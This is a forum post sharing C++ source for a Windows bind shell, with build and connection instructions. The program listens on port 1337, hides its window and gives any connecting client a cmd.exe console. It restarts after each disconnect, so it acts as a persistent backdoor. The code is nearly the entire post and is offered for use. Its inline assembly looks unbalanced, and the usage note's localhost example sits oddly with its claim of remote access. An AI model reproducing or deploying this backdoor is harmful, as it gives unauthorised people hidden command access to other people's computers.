[C++] Remote Shell 12-15-2012, 07:58 PM
#1
[C++] Remote Shell
Introduction
This is a remote shell script for Windows. The original credits are still in the script. I posted this because I find it somewhat useful. You can compile this easily using Microsoft Visual C++ 2010.
The source
Code:
/***************************************************************
* Author:Zach Rogers
* Date:March.3.2008
* Contact:zachrogers@live.com
*
* Project:Remote Windows Shell
***************************************************************/
#include "stdafx.h"
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>
#pragma comment(lib, "wsock32.lib")
#pragma comment(lib, "ws2_32.lib")
using namespace std;
void rcon();
int main()
{
cout << "[]" << endl;
rcon();
}
void rcon()
{
WSADATA wsa;
SOCKET s;
SOCKADDR_IN sAddr;
USHORT port;
PROCESS_INFORMATION pi;
STARTUPINFO si;
port = 1337;
memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;
WSAStartup( 0x0202, &wsa );
s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );
__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );
__asm
{
push ebx
call DWORD PTR [closesocket]
pop ebx
}
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );
WSACleanup();
rcon();
}
Usage
To use this, just open cmd (WIN+R -> write cmd and press enter) then write "telnet 127.0.0.1 1337" and you close to instantly get access to the remote computers console.